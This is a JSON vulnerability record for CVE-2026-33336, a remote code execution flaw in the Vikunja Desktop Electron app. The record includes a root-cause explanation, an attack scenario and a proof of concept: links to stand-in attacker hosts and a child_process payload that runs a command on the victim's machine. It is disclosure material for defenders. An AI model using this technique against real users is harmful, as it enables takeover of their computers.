{
  "schemaVersion": 1,
  "attribution": [
    {
      "source": "CISA Known Exploited Vulnerabilities",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog",
      "licence": "US government work"
    },
    {
      "source": "GitHub Advisory Database",
      "url": "https://github.com/advisories",
      "licence": "CC BY 4.0"
    },
    {
      "source": "Have I Been Pwned",
      "url": "https://haveibeenpwned.com/",
      "licence": "CC BY 4.0"
    },
    {
      "source": "CVE Program (CVE records)",
      "url": "https://www.cve.org/Legal/TermsOfUse",
      "licence": "CVE Terms of Use",
      "notice": "Copyright © 1999-2026, The MITRE Corporation. CVE is a trademark and the CVE logo is a registered trademark of The MITRE Corporation.",
      "terms": "CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE™). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy."
    },
    {
      "source": "FIRST EPSS",
      "url": "https://www.first.org/epss/",
      "licence": "free to use; FIRST requests attribution"
    }
  ],
  "record": {
    "id": "CVE-2026-33336",
    "sourceURL": "https://www.cve.org/CVERecord?id=CVE-2026-33336",
    "idYear": 2026,
    "status": "PUBLISHED",
    "publishedAt": "2026-03-24T15:16:14.681Z",
    "updatedAt": "2026-03-24T17:44:50.761Z",
    "importedAt": "2026-10-24T01:58:08.712Z",
    "snapshot": {
      "id": "cve_2026-10-24_midnight_baseline",
      "at": "2026-10-24T00:00:00.000Z",
      "source": "https://github.com/CVEProject/cvelistV5/releases/tag/cve_2026-10-24_0100Z"
    },
    "facts": {
      "title": "Vikunja Desktop vulnerable to Remote Code Execution via same-window navigation",
      "summary": "Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.\n\n## Root cause\n\nTwo misconfigurations combine to create this vulnerability:\n\n1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).\n\n2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:\n   - `<a href=\"https://...\">` links (without `target=\"_blank\"`)\n   - `window.location` assignments\n   - HTTP redirects\n   - `<meta http-equiv=\"refresh\">` tags\n\n## Attack scenario\n\n1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).\n2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `<a href=\"https://evil.example/exploit\">Click here for the updated design spec</a>`\n3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.\n4. The victim uses Vikunja Desktop and clicks the link.\n5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.\n6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id > /tmp/pwned');`\n7. Arbitrary commands execute as the victim's OS user.\n\n## Impact\n\nFull remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.\n\n## Proof of concept\n\n1. Set up a Vikunja instance with two users sharing a project.\n2. As the attacker user, edit a project description to include: `<a href=\"https://attacker.example/poc.html\">Meeting notes</a>`\n3. Host poc.html with: `<script>require('child_process').exec('calc.exe')</script>`\n4. As the victim, open the project in Vikunja Desktop and click the link.\n5. calc.exe (or any other command) executes on the victim's machine.\n\n## Credits\n\nThis vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).",
      "affected": [
        {
          "vendor": "go-vikunja",
          "product": "vikunja",
          "versions": [
            {
              "version": ">= 0.21.0, < 2.2.0",
              "status": "affected"
            }
          ]
        }
      ]
    }
  }
}